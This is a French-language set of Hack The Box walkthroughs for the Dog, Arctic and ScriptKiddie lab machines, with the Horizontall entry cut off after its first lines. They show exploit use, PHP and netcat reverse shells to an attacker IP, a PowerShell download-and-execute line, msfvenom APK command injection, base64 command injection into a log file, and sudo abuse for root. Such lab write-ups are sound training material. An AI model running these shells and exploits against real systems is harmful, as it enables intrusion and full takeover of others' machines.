| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-robots.txt: 22 disallowed entries
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password
|_/?q=user/register /?q=user/login /?q=user/logout
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home | Dog

Foothold

website with .git files | git-dumper

On trouve un serveur web avec un dossier .git. On peut donc utiliser git-dumper pour récupérer des fichiers et faire un git log eventullement pour trouver des infos:

mysql credentials

Après analyse des fichiers, on trouve des credentials dans le fichier settings.php :

‘mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop’

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


┌──(kali㉿kali)-[~/htb/Dog]
└─$ git-dumper http://10.10.11.58/.git/ ./website

┌──(kali㉿kali)-[~/htb/Dog]
└─$ cd website/

┌──(kali㉿kali)-[~/htb/Dog]
└─$ grep -rni "\$database ="
website/settings.php:15:$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
website/core/modules/simpletest/tests/database_test.test:3653: $database = Database::getConnection();
website/core/modules/system/system.admin.inc:2625: $database = $databases['default']['default'];
website/core/includes/install.inc:491: $database = $modified_connection_info['default']['database'];
website/core/includes/install.inc:796: $database = NULL;
website/core/includes/install.core.inc:904: $database = $databases['default']['default'];
website/core/includes/install.core.inc:973: $database = isset($databases['default']['default']) ? $databases['default']['default'] : array();
website/core/includes/install.core.inc:1022: $database = $form_state['values'][$driver];

Tiffany

“tiffany@dog.htb”

1
2
3
4
5


┌──(kali㉿kali)-[~/htb/Dog/website]
└─$ grep -rni "@dog.htb"
.git/logs/HEAD:1:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
.git/logs/refs/heads/master:1:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000 commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:12: "tiffany@dog.htb"

Backdrop CMS - Authenticated RCE

Grâce au compte administrateur de tiffany, on va pouvoir exploiter une RCE de backdrop CMS v1.27.1 et uploader un fichier shell.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


┌──(kali㉿kali)-[~/htb/Dog]
└─$ searchsploit backdrop cms
---------------------------------------------------------
 Exploit Title | Path
---------------------------------------------------------
Backdrop CMS 1.20.0 - 'Multiple' Cross-Site Request Forgery (CSRF) | php/webapps/50323.html
Backdrop CMS 1.23.0 - Stored XSS | php/webapps/51905.txt
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE) | php/webapps/52021.py
Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS) | php/webapps/51597.txt
---------------------------------------------------------
Shellcodes: No Results

┌──(kali㉿kali)-[~/htb/Dog]
└─$ searchsploit -m php/webapps/52021.py
 Exploit: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
 URL: https://www.exploit-db.com/exploits/52021
 Path: /usr/share/exploitdb/exploits/php/webapps/52021.py
 Codes: N/A
 Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/htb/Dog/52021.py

┌──(kali㉿kali)-[~/htb/Dog]
└─$ mv 52021.py RCE.py

┌──(kali㉿kali)-[~/htb/Dog]
└─$ python3 RCE.py http//dog.htb
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http//dog.htb/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http//dog.htb/modules/shell/shell.php

Quand on va a l’addresse specifier pour installer le module avec le code malicieux, on trouve un message :

The Zip PHP extension is not loaded on your server. You will not be able to download any projects using Project Installer until this is fixed. Impossible donc d’installer un module .zip comme le propose l’exploit. Cependant, on trouve un bouton un peu plus bas : Manual Installation Upload a module Ensuite on met notre zip mais on a: The specified file shell.zip could not be uploaded. Only files with the following extensions are allowed: tar tgz gz bz2. On remplace donc notre .zip par un .tar : ça fonctionne ! Notre code php est bien présent à l’addresse spécifié par l’exploit python: http//dog.htb/modules/shell/shell.php

Pour obtenir un reverse shell stable facilement, on va uploader directement un code php ‘php-reverse-shell.php’ provenant de github en modifiant notre ip et port:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


## php-reverse-shell.php
...
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.10'; // CHANGE THIS
$port = 1337; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...

On obtient un shell en tant que www-data :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


## Firefox
http://dog.htb/modules/shell/shell.php

-----------------------------------------

┌──(kali㉿kali)-[~/htb/Dog]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.58] 46688
Linux dog 5.4.0-208-generic #228-Ubuntu SMP Fri Feb 7 19:41:33 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 14:57:07 up 17:27, 0 users, load average: 0.05, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@dog:/$ export TERM=xterm
export TERM=xterm
www-data@dog:/$ ^Z
zsh: suspended nc -lnvp 1337

┌──(kali㉿kali)-[~/htb/Dog]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 1337

www-data@dog:/$ whoami
www-data

www-data -> johncusack

Mysql connection

On peut se connecter a la base de données mysql rapidement avec les credentials trouvés précédemment:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


www-data@dog:/$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12917
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use backdrop;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select name,pass,mail from users;
+-------------------+---------------------------------------------------------+----------------------------+
| name | pass | mail |
+-------------------+---------------------------------------------------------+----------------------------+
| | | |
| jPAdminB | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb |
| jobert | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb |
| dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb |
| john | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb |
| morris | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb |
| axel | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb |
| rosa | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb |
| tiffany | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb |
+-------------------+---------------------------------------------------------+----------------------------+
9 rows in set (0.00 sec)

john, jobert - hashcat bruteforce passwords

On a les users suivant pouvant avoir un shell sur le serveur :

1
2
3
4


www-data@dog:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

On va donc tenter de cracker en priorité les mots de passe de jobert et de john, à l’aide de hashcat:

1
2


$S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1
$S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji.

Aucun résultat avec rockyou ! On abandonne cette piste (Meme pour les autres hachage)

johncusack

En essayant toujours le meme mot de passe: BackDropJ2024DS2024 avec john, ça fonctionne ! On peut ensuite se connecter en ssh avec cet utilisateur sur la machine linux :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


┌──(kali㉿kali)-[~/htb/Dog]
└─$ ssh johncusack@dog.htb
The authenticity of host 'dog.htb (10.10.11.58)' can't be established.
ED25519 key fingerprint is SHA256:M3A+wMdtWP0tBPvp9OcRf6sPPmPmjfgNphodr912r1o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dog.htb' (ED25519) to the list of known hosts.
johncusack@dog.htb's password: <------------ BackDropJ2024DS2024
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
...
...
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sun Mar 9 08:36:06 2025 from 10.10.14.2
johncusack@dog:~$ whoami
johncusack
johncusack@dog:~$ cat user.txt
cb5b.....1388

Privilege escalation

johncusack : ‘bee’ as superuser

On peut executer le binaire “/usr/local/bin/bee” en tant que super utilisateur :

1
2
3
4
5
6
7


johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
 (ALL : ALL) /usr/local/bin/bee

On regarde les options pour la commande bee :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


johncusack@dog:/var/www/html$ sudo bee
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]

Global Options:
 --root
 Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.

 --site
 Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.

....
....

 ADVANCED

 eval
 ev, php-eval
 Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

 php-script
 scr
 Execute an arbitrary PHP file after bootstrapping Backdrop.

En regardant de plus près, on trouve deux options intéressantes :

eval
php-script

On essaye d’abord php-script qui semble prendre un fichier php en parametre et l’execute :

1
2
3


johncusack@dog:/var/www/html$ sudo bee php-script

 ✘ Argument 'file' is required.

On essaye alors de créer un revershell php ‘shell.php’ et de le passer en parametre:

1
2
3
4
5


johncusack@dog:~/.temp$ ls
shell.php
johncusack@dog:~/.temp$ sudo bee php-script shell.php

 ✘ The required bootstrap level for 'php-script' is not ready.

On reçoit un message d’erreur. Après reflexion, l’idée me vient d’executer un fichier php dans le dossier où se trouve les fichiers php du web server. Peut être que cela peuvent etre modifié et executé ensuite ?

1
2
3
4
5
6
7
8


johncusack@dog:/var/www/html$ sudo bee php-script index.php

 ℹ Notice: Constant BACKDROP_ROOT already defined
in include() (line 17 of /var/www/html/index.php).


 ⚠ Warning: Cannot modify header information - headers already sent by (output started at /backdrop_tool/bee/includes/errors.inc:142)
in backdrop_goto() (line 867 of /var/www/html/core/includes/common.inc).

Après un essais sur le fichier index.php, il n’y a plus d’erreur ! Il semble bien executer le code dans ce fichier. On peut alors:

modifier un fichier tel que index.php et executer un reverse shell
créer un nouveau fichier php avec un code reverse shell

Cependant, nous n’avons pas les droits pour modifier/creer des fichiers. Seulement www-data peut le faire. Nous avons accès au compte www-data donc pas de problème. On crée un fichier s.php avec un code pour ouvrir un reverse shell, et ça fonctionne :

1
2
3
4
5
6
7
8
9


johncusack@dog:/var/www/html$ sudo bee php-script s.php
johncusack@dog:/var/www/html$
 ℹ Notice: Undefined variable: daemon
in printit() (line 184 of /var/www/html/s.php).

Successfully opened reverse shell to 10.10.14.10:1338

 ℹ Notice: Undefined variable: daemon
in printit() (line 184 of /var/www/html/s.php).

On obtient bien un shell en tant que root :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


┌──(kali㉿kali)-[~/htb/Dog]
└─$ nc -lnvp 1338
listening on [any] 1338 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.58] 39820
Linux dog 5.4.0-208-generic #228-Ubuntu SMP Fri Feb 7 19:41:33 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 15:29:16 up 18:00, 2 users, load average: 0.02, 0.05, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
johncusa pts/2 10.10.14.10 15:19 4.00s 0.16s 0.16s -bash
johncusa pts/3 10.10.16.2 15:21 35.00s 0.05s 0.05s -bash
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
## whoami
root
## cat /root/root.txt
5a2f.....adc2

HTB | Arctic

Sat, 08 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Arctic	Windows	10.10.10.11	Easy

System Infos

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


Host Name: ARCTIC
OS Name: Microsoft Windows Server 2008 R2 Standard
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-507-9857321-84451
Original Install Date: 22/3/2017, 11:09:45 ??
System Boot Time: 9/3/2025, 4:20:09 ??
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
 [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 6.143 MB
Available Physical Memory: 4.964 MB
Virtual Memory: Max Size: 12.285 MB
Virtual Memory: Available: 11.080 MB
Virtual Memory: In Use: 1.205 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
 [01]: Intel(R) PRO/1000 MT Network Connection
 Connection Name: Local Area Connection
 DHCP Enabled: No
 IP address(es)
 [01]: 10.10.10.11

Enumeration

nmap

1
2


$ nmap -sC -sV -An -p- 10.10.10.11
HTTP -> Port 8500

Foothold

Adobe Coldfusion 8

On accède à une page de connexion pour les administrateurs du serveur : http://10.10.10.11:8500/CFIDE/administrator/enter.cfm

On note qu’il s’agit du service Adobe Coldfusion 8. On trouve directement un poc en python sur searchsploit et on obtient un shell sur la machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


$ python3 exploit.py
...
Printing some information for debugging...
lhost: 10.10.14.10
lport: 1337
rhost: 10.10.10.11
rport: 8500
payload: 097d871e33a84bc8a3ed6002724b19ee.jsp

Deleting the payload...

Listening for connection...

Executing the payload...
listening on [any] 1337 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49235

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ColdFusion8\runtime\bin> whoami
arctic\tolis

Stabilize powershell

Dans un premier temps, il a fallu obtenir un meilleur cmd.exe car il n’était pas stable du tout. Impossible d’obtenir directement un powershell (stable ou non). Ensuite, avec ce nouveau cmd.exe stable (grace a un serveur smbshare et un nc.exe), j’ai pu utiliser un nouveau revershell pour obtenir un powershell stable a l’aide du repo de nishang et de Invoke-TcpXXX.ps1.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


┌──(kali㉿kali)-[~/htb/Arctic]
└─$ impacket-smbserver share .
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.11,49414)
[*] AUTHENTICATE_MESSAGE (ARCTIC\tolis,ARCTIC)
[*] User ARCTIC\tolis authenticated successfully
[*] tolis::ARCTIC:aaaaaaaaaaaaaaaa:c542f5a7a35d08fb97440dcae060b508:01010000000000000079e8fa958fdb0199d3a7cce7b544db00000000010010004a00550051007500770064006b004300030010004a00550051007500770064006b00430002001000500073005400480047006e005800440004001000500073005400480047006e0058004400070008000079e8fa958fdb01060004000200000008003000300000000000000000000000003000006d512dfe482ef201bb28a406e85c0fc4005f2cfd87b665b2061df41978469e2b0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003000000000000000000000000000
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:SHARE)

------------INITIAL FOOTHOLD CMD.EXE-------------

C:\ColdFusion8\runtime\bin>\\10.10.14.10\share\nc.exe -e cmd.exe 10.10.14.10 4444
\\10.10.14.10\share\nc.exe -e cmd.exe 10.10.14.10 4444

-----------NEW CMD.EXE ON PORT 4444-----------------
┌──(kali㉿kali)-[~/htb/Arctic]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49435
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ColdFusion8\runtime\bin>\\10.10.14.10\share\nc.exe -e powershell.exe 10.10.14.10 5555
\\10.10.14.10\share\nc.exe -e powershell.exe 10.10.14.10 5555

C:\ColdFusion8\runtime\bin>powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10:8888/shell.ps1')
powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10:8888/shell.ps1')


-----------POWERSHELL ON PORT 1338------------------
┌──(kali㉿kali)-[~/htb/Arctic]
└─$ nc -lnvp 1338
listening on [any] 1338 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49451
Windows PowerShell running as user tolis on ARCTIC
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\ColdFusion8\runtime\bin>whoami
arctic\tolis

Privilege Escalation

Kernel Exploit : Chimichurri.exe

Searching for elevation privilege CVE using “wes” windows-exploits-suggester.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Arctic]
└─$ wes ./arctic_systeminfo | grep -I 'Elevation of Privilege' -B7 | grep CVE-2010-2554 -A7 -B2

Date: 20100810
CVE: CVE-2010-2554
KB: KB982799
Title: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege
Affected product: Windows Server 2008 R2 for x64-based Systems
Affected component:
Severity: Important
Impact: Elevation of Privilege
--

On trouve un github avec un exe deja compilé pour faire l’exploit:

https://github.com/egre55/windows-kernel-exploits/blob/master/MS10-059%3A%20Chimichurri/Compiled/Chimichurri.exe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


PS C:\Users\tolis> .\Chimichurri.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
PS C:\Users\tolis> .\Chimichurri.exe 10.10.14.10 7676

---------------------

┌──(kali㉿kali)-[~/htb/Arctic]
└─$ nc -lnvp 7676
listening on [any] 7676 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 50748
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\tolis>whoami
whoami
nt authority\system

C:\Users\tolis>cd ../Administrator\Desktop
cd ../Administrator\Desktop

C:\Users\Administrator\Desktop>type root.txt
type root.txt
8980.....ffb6

HTB | ScriptKiddie

Fri, 07 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
ScriptKiddie	Linux	10.10.10.226	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


┌──(kali㉿kali)-[~/htb/ScriptKiddie]
└─$ nmap -sC -sV -An -T4 -vvv 10.10.10.226
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/YB1g/YHwZNvTzj8lysM+SzX6dZzRbfF24y3ywkhai4pViGEwUklIPkEvuLSGH97NJ4y8r9uUXzyoq3iuVJ/vGXiFlPCrg+QDp7UnwANBmDqbVLucKdor+JkWHJJ1h3ftpEHgol54tj+6J7ftmaOR29Iwg+FKtcyNG6PY434cfA0Pwshw6kKgFa+HWljNl+41H3WVua4QItPmrh+CrSoaA5kCe0FAP3c2uHcv2JyDjgCQxmN1GoLtlAsEznHlHI1wycNZGcHDnqxEmovPTN4qisOKEbYfy2mu1Eqq3Phv8UfybV8c60wUqGtClj3YOO1apDZKEe8eZZqy5eXU8mIO+uXcp5zxJ/Wrgng7WTguXGzQJiBHSFq52fHFvIYSuJOYEusLWkGhiyvITYLWZgnNL+qAVxZtP80ZTq+lm4cJHJZKl0OYsmqO0LjlMOMTPFyA+W2IOgAmnM+miSmSZ6n6pnSA+LE2Pj01egIhHw5+duAYxUHYOnKLVak1WWk/C68=
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJA31QhiIbYQMUwn/n3+qcrLiiJpYIia8HdgtwkI8JkCDm2n+j6dB3u5I17IOPXE7n5iPiW9tPF3Nb0aXmVJmlo=
| 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOWjCdxetuUPIPnEGrowvR7qRAR7nuhUbfFraZFmbIr4
5000/tcp open http syn-ack ttl 63 Werkzeug httpd 0.16.1 (Python 3.8.5)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD POST
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5

Foothold

msfvenom - apk template injection

On a accès a une page web sur le port 5000 où plusieurs commandes peuvent etre executés, on a notamment:

venom it up - gen rev tcp meterpreter bins qui nous permet de generer avec msfvenom un reverse meterpreter facilement pour android, linux, windows.

On a le droit de mettre un fichier template. Après une recherche sur internet et sur searchsploit, on observe une vuln dans l’outil msfvenom.

Si on execute msfvenom pour le meterpreter android, en passant un apk vérolé en template(-x), on a une RCE :

msfvenom -x /tmp/tmp9ep2m3p9/poc.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


# APK TEMPLATE FILE CREATION PYTHON SCRIPT

#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b32encode

# Change me
payload = 'sh -i >& /dev/tcp/10.10.14.19/1337 0>&1'

# b32encode to avoid badchars (keytool is picky)
# thanks to @fdellwing for noticing that base64 can sometimes break keytool
# <https://github.com/justinsteven/advisories/issues/2>
payload_b32 = b32encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b32} | base32 -d | sh #"
...

--------------------------------------

$ python3 poc.py
[+] Manufacturing evil apkfile
Payload: sh -i >& /dev/tcp/10.10.14.19/1337 0>&1
-dname: CN='|echo ONUCALLJEA7CMIBPMRSXML3UMNYC6MJQFYYTALRRGQXDCOJPGEZTGNZAGA7CMMI= | base32 -d | sh #

 adding: empty (stored 0%)
Génération d'une paire de clés RSA de 2 048 bits et d'un certificat auto-signé (SHA256withRSA) d'une validité de 90 jours
 pour : CN="'|echo ONUCALLJEA7CMIBPMRSXML3UMNYC6MJQFYYTALRRGQXDCOJPGEZTGNZAGA7CMMI= | base32 -d | sh #"
jar signed.

Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk and is disabled.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk and is disabled.
POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.

[+] Done! apkfile is at /tmp/tmp9ep2m3p9/poc.apk
Do: msfvenom -x /tmp/tmp9ep2m3p9/poc.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null

---------------------------------

┌──(kali㉿kali)-[~/htb/ScriptKiddie]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.226] 55968
sh: 0: can't access tty; job control turned off
$ whoami
kid
$ cat /home/kid/user.txt
be0d.....478d

kid -> pwn

/home/pwn/scanlosers.sh

On observe un script qu’on peut lire dans le home directory de l’utilisateur pwn. On découvre egalement un fichier “hackers” dans dossiers logs/ de kid (notre utilisateur).

Le script de pwn effectue un nmap sur une ip lorsqu’une nouvelle ligne est ajouté dans le fichier de logs hackers. Dans ce cas, il récupère l’ip ecrite en 3ème position sur la ligne, puis fait le nmap. Ensuite, il vide le fichier hackers.

On remarque bien que lorsqu’on ajoute une ligne dans le fichier hackers, il est immédiatement effacé, ce qui prouve que l’utilisateur pwn execute en permanence le script scanlosers.sh.

On peut facilement injecter une commande dans le fichier “hackers” a la place de l’addresse ip. Cette commande sera ensuite executer par pwn lors de l’execution du script scanlosers.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# Reverse shell en base64
kid@scriptkiddie:/home/pwn$ echo -n 'a a $(echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvNDQ0NCAwPiYx" | base64 -d | bash)' >> /home/kid/logs/hackers

-------------------

┌──(kali㉿kali)-[~/htb/ScriptKiddie]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.226] 56352
sh: 0: can't access tty; job control turned off
$ whoami
pwn

Privilege Escalation

msfconsole as root

On remarque la possibilité d’executer msfconsole en tant que root. En regardant sur gtfobins, on trouve directement un moyen d’ouvrir un shell en tant que root depuis msfconsole

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
 (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
pwn@scriptkiddie:~$ sudo msfconsole

 ###### ############
 #######################
 # # ### # # ##
 ########################
 ## ## ## ##
 https://metasploit.com


 =[ metasploit v6.0.9-dev ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: Use the edit command to open the currently active module in your editor

msf6 > msf6 > irb
[-] Unknown command: msf6.
msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> system('/bin/sh')
# whoami
root
# cat /root/root.txt 
1f30.....dd22

HTB | Horizontall

Thu, 06 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Horizontall	Linux	10.10.11.105	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


┌──(kali㉿kali)-[~/htb/Horizontall]
└─$ nmap -sC -sV -An -T4 -vvv 10.10.11.105
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
